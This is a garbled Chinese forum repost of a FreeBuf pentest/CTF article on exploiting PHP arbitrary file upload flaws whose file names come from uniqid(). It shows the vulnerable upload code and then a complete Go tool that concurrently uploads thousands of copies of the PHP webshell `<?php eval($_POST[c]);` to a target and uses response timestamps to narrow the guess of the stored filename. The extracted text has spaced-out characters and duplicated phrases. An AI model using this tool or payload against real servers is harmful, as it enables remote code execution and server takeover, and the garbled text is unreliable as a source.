搜索

[12401] 2018-02-26_一秒找出用时间和随机数生成的上传文件名

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2018-02-26_一秒找出用时间和随机数生成的上传文件名 一 秒 找 出 用 时 间 和 随 机 数 生 成 的 上 传 文 件 名 g o l a n g   F r e e B u f   2 0 1 8 - 0 2 - 2 6 *   本 文 作 者 ： 本 文 作 者 ： g o l a n g ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 在 做 渗 透 测 试 或 者 在 做 渗 透 测 试 或 者 c t f 比 赛 的 时 ， 常 遇 到 一 种 任 意 文 件 上 传 漏 洞 ， 上 传 后 的 文 件 名 ， 是 使 用 时 间 加 随 机 数 生 成 比 赛 的 时 ， 常 遇 到 一 种 任 意 文 件 上 传 漏 洞 ， 上 传 后 的 文 件 名 ， 是 使 用 时 间 加 随 机 数 生 成 的 。 常 见 的 如 的 。 常 见 的 如 p h p 的 的 函 数 生 成 的 文 件 名 ， 或 用 时 间 戳 或 秒 数 函 数 生 成 的 文 件 名 ， 或 用 时 间 戳 或 秒 数 + 随 机 数 字 生 成 文 件 名 。 随 机 数 字 生 成 文 件 名 。 通 常 遇 到 这 种 情 况 ， 我 们 可 以 使 用 一 个 u r l 模 糊 测 试 的 的 脚 本 暴 力 猜 解 ， 如 果 数 量 为 百 万 级 ， 即 使 用 H E A D 方 式 发 送 h t t p 请 求 也 需 要 1 ～ 2 小 时 才 能 遍 历 完 ， 在 渗 透 测 试 和 c t f 比 赛 中 都 有 动 作 过 大 和 时 间 太 长 的 缺 点 。 但 如 果 我 们 换 一 个 思 路 ， 可 以 将 效 率 提 高 上 千 倍 。 有 一 个 靶 子 ， 命 中 一 次 就 算 成 功 ， 我 们 用 多 支 枪 去 打 可 以 提 高 命 中 可 能 ； 上 传 漏 洞 好 比 这 靶 子 是 我 们 自 己 架 设 的 ， 我 们 可 以 放 多 个 靶 子 再 进 一 步 提 高 命 中 可 能 。 通 过 这 个 方 式 ， 就 可 以 在 一 秒 内 找 到 上 传 后 的 文 件 名 。 下 面 使 用 一 段 真 实 的 代 码 为 例 ， 说 明 如 何 在 一 秒 中 内 找 到 p h p 函 数 生 的 文 件 名 。 一 、 有 漏 洞 的 上 传 代 码 ， 如 何 找 到 上 传 后 的 文 件 呢 一 、 有 漏 洞 的 上 传 代 码 ， 如 何 找 到 上 传 后 的 文 件 呢 可 见 文 件 名 使 用 了 u n i q i d 函 数 生 成 ， 实 际 运 行 如 下 代 码 ， 可 见 u n i q i d 的 前 半 部 分 是 根 据 固 定 的 ， 后 半 部 分 似 乎 是 随 机 的 。 二 、 弄 清 二 、 弄 清 u n i q i d 函 数 的 实 现 细 节 函 数 的 实 现 细 节 u n i q i d u n i q i d < ? p h p     $ t e m p   =   e x p l o d e ( " . " ,   $ _ F I L E S [ " f i l e " ] [ " n a m e " ] ) ;     $ e x t e n s i o n   =   e n d ( $ t e m p ) ;     i f   ( $ _ F I L E S [ " f i l e " ] [ " e r r o r " ]   >   0 )   {             e c h o   " E r r o r " ;     }   e l s e   {             $ n e w f i l e   =   u n i q i d ( " i m a g e _ " ) . " . " . $ e x t e n s i o n ;             / /   下 面 的 命 名 方 式 与 上 面 基 本 是 一 样 的 ， 也 曾 在 某 次 c t f 中 出 现 过             / /   新 文 件 名                 / /   $ n e w f i l e   =   d a t e ( " d H i s " )   .   ' _ '   .   r a n d ( 1 0 0 0 0 ,   9 9 9 9 9 )   .   ' . '   . $ e x t e n s i o n ;             m o v e _ u p l o a d e d _ f i l e ( $ _ F I L E S [ " f i l e " ] [ " t m p _ n a m e " ] ,   " I m a g e s / " . $ n e w f i l e ) ;     } ? >
查 看 p h p   u n i q i d 函 数 的 源 码 由 以 上 代 码 可 知 ， 文 件 名   =   前 缀   +   秒 数 的 8 位 1 6 进 制 数   +   微 秒 取 模 0 x 1 0 0 0 0 0 的 5 位 1 6 进 制 数 。 这 里 面 前 缀 和 秒 数 已 知 ， 只 有 微 妙 数 不 知 。 1 0 ^ 6 微 秒 = 1 秒 ， 数 值 非 常 小 ， 我 们 可 以 认 为 它 是 一 个 随 机 数 。 这 样 生 成 的 文 件 名 可 能 为 1 6 ^ 5 = 1 0 4 8 5 7 6 , 1 0 0 多 万 个 可 能 性 。 使 用 H E A D 方 法 去 验 证 1 0 0 多 万 个 结 果 ， 网 络 较 好 的 情 况 下 也 需 要 数 个 小 时 。 三 、 同 时 上 传 多 个 文 件 ， 提 高 查 找 效 率 三 、 同 时 上 传 多 个 文 件 ， 提 高 查 找 效 率 实 际 上 我 们 可 以 通 过 在 一 秒 钟 内 上 传 多 个 文 件 来 成 千 倍 提 高 查 找 效 率 。 编 写 过 程 中 还 需 要 注 意 一 些 细 节 。 使 用 g o 语 言 编 写 并 发 上 传 和 测 试 的 工 具 ， 在 本 地 环 境 下 测 试 ， （ 1 6 G 内 存 + i 7 c p u 的 笔 记 本 + n g i n x + p h p 7 . 0 - f p m ） 一 秒 内 可 上 传 5 7 0 0 余 个 文 件 ， 扫 描 时 在 发 起 9 5 6 次 请 求 就 找 到 结 果 ， 用 时 0 . 1 秒 。 在 p i n g 延 时 为 3 0 0 毫 秒 的 v p s 上 测 试 一 秒 钟 内 也 可 上 传 1 5 0 0 个 文 件 。 这 样 就 相 当 于 在   1 6 ^ 5 / 1 5 0 0   =   6 9 9 , 在 6 9 9 个 文 件 名 中 找 一 个 正 确 值 （ 考 虑 到 不 是 均 匀 分 布 ， 这 个 值 会 大 一 些 或 小 一 些 ） 。 发 起 6 9 9 次 H T T P 请 求 ， 一 般 不 超 过 1 - 数 秒 内 就 可 得 出 正 确 结 果 ， 即 使 网 络 非 常 差 也 能 在 几 十 秒 内 找 到 正 确 结 果 。 测 试 情 况 见 下 图 所 示 ：   一 些 需 要 注 意 的 细 节 ： 服 务 器 返 回 的 r e s p o n s e   h e a d e r 中 有 服 务 器 时 间 ， 可 用 来 确 认 秒 数 . 服 务 器 同 时 支 持 的 t c p 连 接 数 有 限 ， h t t p 客 户 端 要 设 置 h t t p 请 求 头 的   C o n n e c t i o n :   c l o s e 。 客 户 端 同 时 能 打 开 的 文 件 数 也 是 有 限 的 ， 所 以 要 将 要 要 上 传 的 p h p 代 码 放 到 内 存 中 ， 而 不 是 从 文 件 中 读 取 。 / /   h t t p s : / / g i t h u b . c o m / p h p / p h p - s r c / b l o b / m a s t e r / e x t / s t a n d a r d / u n i q i d . c d o   {     ( v o i d ) g e t t i m e o f d a y ( ( s t r u c t   t i m e v a l   * )   & t v ,   ( s t r u c t   t i m e z o n e   * )   N U L L ) ; }   w h i l e   ( t v . t v _ s e c   = =   p r e v _ t v . t v _ s e c   & &   t v . t v _ u s e c   = =   p r e v _ t v . t v _ u s e c ) ; p r e v _ t v . t v _ s e c   =   t v . t v _ s e c ; p r e v _ t v . t v _ u s e c   =   t v . t v _ u s e c ; s e c   =   ( i n t )   t v . t v _ s e c ; u s e c   =   ( i n t )   ( t v . t v _ u s e c   %   0 x 1 0 0 0 0 0 ) ; / *   T h e   m a x   v a l u e   u s e c   c a n   h a v e   i s   0 x F 4 2 3 F ,   s o   w e   u s e   o n l y   f i v e   h e x   *   d i g i t s   f o r   u s e c s .   * / i f   ( m o r e _ e n t r o p y )   {     u n i q i d   =   s t r p p r i n t f ( 0 ,   " % s % 0 8 x % 0 5 x % . 8 F " ,   p r e f i x ,   s e c ,   u s e c ,   p h p _ c o m b i n e d _ l c g ( )   *   1 0 ) ; }   e l s e   {     u n i q i d   =   s t r p p r i n t f ( 0 ,   " % s % 0 8 x % 0 5 x " ,   p r e f i x ,   s e c ,   u s e c ) ; }
设 置 / e t c / h o s t s ， 节 省 d n s 查 询 时 间 使 用 t c p   s o c k e t 直 接 发 送 上 传 的 请 求 包 ， 应 该 还 会 更 快 一 点 。 上 传 代 码 如 下 : p a c k a g e   m a i n i m p o r t   (         " b y t e s "         " f m t "         " l o g "         " m i m e / m u l t i p a r t "         " n e t / h t t p "         " o s "         " p a t h / f i l e p a t h "         " t i m e "         " s y n c " ) / /   C r e a t e s   a   n e w   f i l e   u p l o a d   h t t p   r e q u e s t   w i t h   o p t i o n a l   e x t r a   p a r a m s f u n c   n e w f i l e U p l o a d R e q u e s t ( u r i   s t r i n g ,   p a r a m s   m a p [ s t r i n g ] s t r i n g ,   p a r a m N a m e ,   l o c a l f i l e   s t r i n g )   ( * h t t p . R e q u e s t ,   e r r o r )   {         / /   f i l e ,   e r r   : =   o s . O p e n ( l o c a l f i l e )         / /   i f   e r r   ! =   n i l   {         / /           r e t u r n   n i l ,   e r r         / /   }         / /   d e f e r   f i l e . C l o s e ( )         p a y l o a d   : =   [ ] b y t e ( ` < ? p h p   e v a l ( $ _ P O S T [ c ] ) ; ` )         b o d y   : =   & b y t e s . B u f f e r { }         w r i t e r   : =   m u l t i p a r t . N e w W r i t e r ( b o d y )         p a r t ,   e r r   : =   w r i t e r . C r e a t e F o r m F i l e ( p a r a m N a m e ,   f i l e p a t h . B a s e ( l o c a l f i l e ) )         i f   e r r   ! =   n i l   {                 r e t u r n   n i l ,   e r r         }         / /   _ ,   e r r   =   i o . C o p y ( p a r t ,   f i l e )         p a r t . W r i t e ( p a y l o a d )         f o r   k e y ,   v a l   : =   r a n g e   p a r a m s   {                 _   =   w r i t e r . W r i t e F i e l d ( k e y ,   v a l )         }         e r r   =   w r i t e r . C l o s e ( )         i f   e r r   ! =   n i l   {                 r e t u r n   n i l ,   e r r         }         r e q ,   e r r   : =   h t t p . N e w R e q u e s t ( " P O S T " ,   u r i ,   b o d y )         i f   e r r   ! =   n i l   {                 r e t u r n   n i l ,   e r r         }         r e q . H e a d e r . S e t ( " C o n t e n t - T y p e " ,   w r i t e r . F o r m D a t a C o n t e n t T y p e ( ) )         r e q . H e a d e r . S e t ( " C o n n e c t i o n " ,   " c l o s e " )         r e t u r n   r e q ,   n i l } v a r   t o t a l   i n t v a r   r e s u l t   m a p [ i n t 6 4 ] i n t f u n c   m a i n ( )   {         s t a r t   : =   t i m e . N o w ( )         f i l e n a m e   : =   " f i l e "         f i l e p a t h ,   _   : =   o s . G e t w d ( )         f i l e p a t h   + =   " / s h e l l . p h p "         r e s u l t   =   m a k e ( m a p [ i n t 6 4 ] i n t ,   1 0 )         w g   : =   & s y n c . W a i t G r o u p { }         l o c k   : =   & s y n c . M u t e x { }         d o n e   : =   m a k e ( c h a n   s t r u c t { } ,   2 5 6 )         f o r   i   : =   0 ;   i   <   1 0 0 0 0 ;   i + +   {                 d o n e   < -   s t r u c t { } { }   / /   m a x   c o n c u r r e n c y   i s   2 5 6                 i f   i % 6 4   = =   0   {                         t i m e . S l e e p ( 1 0   *   t i m e . M i l l i s e c o n d )                 }                 w g . A d d ( 1 )                 g o   d o U p l o a d ( f i l e n a m e ,   f i l e p a t h ,   n i l ,   w g ,   l o c k )                 < - d o n e         }         w g . W a i t ( )         u s e d   : =   t i m e . S i n c e ( s t a r t )         f m t . P r i n t f ( " [ * ]   d o n e . n [ * ]   % d   f i l e   u p l o a d e d .   t i m e   u s e d :   % . 2 f n " ,   t o t a l ,   u s e d . S e c o n d s ( ) )         f o r   s e c ,   c n t   : =   r a n g e   r e s u l t   {                 f m t . P r i n t f ( " [ * ]   % 0 8 x   :   % d n " ,   s e c ,   c n t )         } } f u n c   d o U p l o a d ( f i l e n a m e ,   f i l e p a t h   s t r i n g ,   p a r a m s   m a p [ s t r i n g ] s t r i n g ,   w g   * s y n c . W a i t G r o u p ,   l o c k   * s y n c . M u t e x )   {         d e f e r   w g . D o n e ( )         c o d e ,   d a t e ,   e r r   : =   u p l o a d ( f i l e n a m e ,   f i l e p a t h ,   p a r a m s )         i f   e r r   ! =   n i l   {                 l o g . P r i n t l n ( e r r )                 r e t u r n         }         i f   e r r   = =   n i l   & &   c o d e   = =   2 0 0   {                 l o c k . L o c k ( )
*   本 文 作 者 ： 本 文 作 者 ： g o l a n g ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文                 l o c k . L o c k ( )                 t o t a l + +                 k e y   : =   d a t e . U n i x ( )                 i f   c n t ,   h a s   : =   r e s u l t [ k e y ] ;   h a s   {                         r e s u l t [ k e y ]   =   c n t   +   1                 }   e l s e   {                         r e s u l t [ k e y ]   =   1                 }                 l o c k . U n l o c k ( )         } } f u n c   u p l o a d ( f i l e n a m e   s t r i n g ,   f i l e p a t h   s t r i n g ,   p a r a m s   m a p [ s t r i n g ] s t r i n g )   ( c o d e   i n t ,   d a t e   t i m e . T i m e ,   e r r   e r r o r )   {         r e q u e s t ,   e r r   : =   n e w f i l e U p l o a d R e q u e s t ( " h t t p : / / c t f / u p . p h p " ,   p a r a m s ,   f i l e n a m e ,   f i l e p a t h )         i f   e r r   ! =   n i l   {                 l o g . P r i n t l n ( e r r )                 r e t u r n         }         t i m e o u t   : =   t i m e . D u r a t i o n ( 5   *   t i m e . S e c o n d )         c l i e n t   : =   & h t t p . C l i e n t {                 T i m e o u t :   t i m e o u t ,         }         r e s p ,   e r r   : =   c l i e n t . D o ( r e q u e s t )         i f   e r r   ! =   n i l   {                 l o g . P r i n t l n ( e r r )                 r e t u r n         }         c o d e   =   r e s p . S t a t u s C o d e         d a t e s t r i n g   : =   r e s p . H e a d e r . G e t ( " D a t e " )         i f   d a t e s t r i n g   ! =   " "   {                 / /   l o c ,   _   : =   t i m e . L o a d L o c a t i o n ( " A s i a / S h a n g h a i " )                 L o n g F o r m   : =   ` M o n ,   0 2   J a n   2 0 0 6   1 5 : 0 4 : 0 5   M S T `                 / /   d a t e ,   _   =   t i m e . P a r s e I n L o c a t i o n ( L o n g F o r m ,   d a t e s t r i n g ,   l o c )                 d a t e ,   _   =   t i m e . P a r s e ( L o n g F o r m ,   d a t e s t r i n g )                 / /   f m t . P r i n t l n ( d a t e . U n i x ( ) )         }         / /   _ ,   e r r   =   i o u t i l . R e a d A l l ( r e s p . B o d y )         d e f e r   r e s p . B o d y . C l o s e ( )         r e t u r n }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理